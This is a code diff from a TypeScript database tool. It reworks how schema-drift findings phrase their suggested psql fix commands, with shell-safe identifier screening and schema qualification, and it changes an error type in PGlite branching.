56
89
|
/**
|
|
57
|
-
* The
|
|
58
|
-
*
|
|
59
|
-
*
|
|
90
|
+
* The fix is ONE command a shell runs, and it is the harmless one: it prints the object's
|
|
91
|
+
* definition. The repair is the comment, in the order it has to happen — copy the definition into
|
|
92
|
+
* a migration, drop the hand-made copy (a migration creating an object the database already holds
|
|
93
|
+
* fails on `already exists`), then migrate. It used to lead with `run drop …; inside psql`: prose
|
|
94
|
+
* no shell runs, whose first step destroyed the definition the second step needed.
|
|
60
95
|
*/
|
|
61
96
|
function unexpectedObject(object: ObjectIdentity): DriftDifference {
|
|
97
|
+
const schema = shellInertIdentifier(object.schema);
|
|
62
98
|
const name = shellInertIdentifier(object.name);
|
|
63
99
|
const table = object.table === null ? null : shellInertIdentifier(object.table);
|
|
64
100
|
const where = object.table === null ? '' : ` on table "${object.table}"`;
|
|
65
101
|
const signature = object.signature === '' ? '' : `(${object.signature})`;
|
|
66
|
-
// A function is
|
|
102
|
+
// A function is named by its argument list, empty included: `drop function "add";` is
|
|
67
103
|
// `42725 function name is not unique` while an overload lives beside it. The list is catalog
|
|
68
104
|
// text (`pg_get_function_identity_arguments`), already quoted for SQL, so it is screened for
|
|
69
105
|
// what a shell or a pasted line would read and never escaped.
|
|
70
106
|
const args = object.kind === 'function' ? `(${object.signature})` : '';
|
|
71
107
|
const spellable =
|
|
108
|
+
schema !== null &&
|
|
72
109
|
name !== null &&
|
|
73
110
|
(object.table === null || table !== null) &&
|
|
74
111
|
!SIGNATURE_ACTIVE.test(object.signature);
|
|
75
|
-
const
|
|
112
|
+
const cause = `${object.kind} "${object.name}"${signature}${where} exists in this database and no migration creates it`;
|
|
113
|
+
const kind = 'unexpected-object';
|
|
114
|
+
const base = { kind, table: object.table ?? object.name, column: null, cause } as const;
|
|
115
|
+
if (!spellable) {
|
|
116
|
+
return {
|
|
117
|
+
...base,
|
|
118
|
+
fix: byHand(
|
|
119
|
+
'copy the definition of the object this difference names into a migration as a create ' +
|
|
120
|
+
'statement, then drop it',
|
|
121
|
+
'its schema, name or arguments carry a backtick, a dollar sign, a quote, a backslash or ' +
|
|
122
|
+
'whitespace, so no statement here can spell it',
|
|
123
|
+
),
|
|
124
|
+
};
|
|
125
|
+
}
|
|
126
|
+
// Every target is qualified by the catalog's schema: unqualified, `\d "posts"` in a session
|
|
127
|
+
// whose search_path lacks that schema answers "Did not find any relation" — and exits 0.
|
|
128
|
+
const drop =
|
|
129
|
+
table === null
|
|
130
|
+
? `drop ${object.kind} ${schema}.${name}${args};`
|
|
131
|
+
: `drop ${object.kind} ${name} on ${schema}.${table};`;
|
|
132
|
+
// The comment repeats the statement only when it holds no `'`: a shell that does not read `#`
|
|
133
|
+
// as a comment would open a quote on one. The command is safe either way (`psqlCommand`).
|
|
134
|
+
const spoken = drop.includes("'") ? `drop ${object.kind} on it` : drop;
|
|
135
|
+
const show = psqlCommand(
|
|
136
|
+
object.kind === 'function'
|
|
137
|
+
? showFunction(object)
|
|
138
|
+
: `${SHOW[object.kind] ?? '\\d'} ${schema}.${table ?? name}`,
|
|
139
|
+
);
|
|
76
140
|
return {
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
fix: spellable
|
|
82
|
-
? `run ${drop} inside psql "$DATABASE_URL", then write its create statement into a ` +
|
|
83
|
-
'migration and run x db migrate — or leave it dropped if nothing owns it'
|
|
84
|
-
: 'drop it by hand, then write its create statement into a migration and run x db migrate ' +
|
|
85
|
-
'— its name or arguments carry a backtick, a dollar sign, a quote, a backslash or ' +
|
|
86
|
-
'whitespace, so ' +
|
|
87
|
-
'no statement here can spell it',
|
|
141
|
+
...base,
|
|
142
|
+
fix:
|
|
143
|
+
`${show} # no migration creates it: copy its definition into a migration as a create ` +
|
|
144
|
+
`statement, run ${spoken} here, then x db migrate — or only drop it if nothing owns it`,
|
|
88
145
|
};
|
|
89
146
|
}
|
|
90
147
|
|
package/src/pglite-branch.ts
CHANGED
|
@@ -5,10 +5,10 @@
|
|
|
5
5
|
|
|
6
6
|
import { cp, mkdir, rm, stat } from 'node:fs/promises';
|
|
7
7
|
import { basename, dirname, join } from 'node:path';
|
|
8
|
-
import { systemClock } from '@ultimat3/core';
|
|
8
|
+
import { NotImplementedError, systemClock } from '@ultimat3/core';
|
|
9
9
|
import type { BranchInfo } from './branch';
|
|
10
10
|
import { assertBranchName } from './branch';
|
|
11
|
-
import { branchExists,
|
|
11
|
+
import { branchExists, dbUnavailable } from './errors';
|
|
12
12
|
import { PGLITE_MEMORY, pgliteDataDir } from './pglite';
|
|
13
13
|
|
|
14
14
|
export interface PgliteBranchOptions {
|
|
@@ -22,7 +22,7 @@ export interface PgliteBranchOptions {
|
|
|
22
22
|
}
|
|
23
23
|
|
|
24
24
|
export interface PgliteBranchInfo extends BranchInfo {
|
|
25
|
-
/** Hand this straight to `
|
|
25
|
+
/** Hand this straight to `pgliteClient({ dataDir })`. */
|
|
26
26
|
readonly dataDir: string;
|
|
27
27
|
}
|
|
28
28
|
|
|
@@ -56,10 +56,10 @@ export async function branchPglite(
|
|
|
56
56
|
assertBranchName(branch);
|
|
57
57
|
const from = pgliteDataDir(options.from);
|
|
58
58
|
if (from === PGLITE_MEMORY) {
|
|
59
|
-
throw
|
|
60
|
-
'branching an in-memory PGlite',
|
|
61
|
-
'x dev # a branch copies .x/pgdata, so the database has to be on disk first',
|
|
62
|
-
);
|
|
59
|
+
throw new NotImplementedError({
|
|
60
|
+
cause: 'branching an in-memory PGlite is not implemented by this driver',
|
|
61
|
+
fix: 'x dev # a branch copies .x/pgdata, so the database has to be on disk first',
|
|
62
|
+
});
|
|
63
63
|
}
|
|
64
64
|
if (!(await isDirectory(from))) {
|
|
65
65
|
throw dbUnavailable(`there is no PGlite data directory at ${from}, so nothing to branch`);
|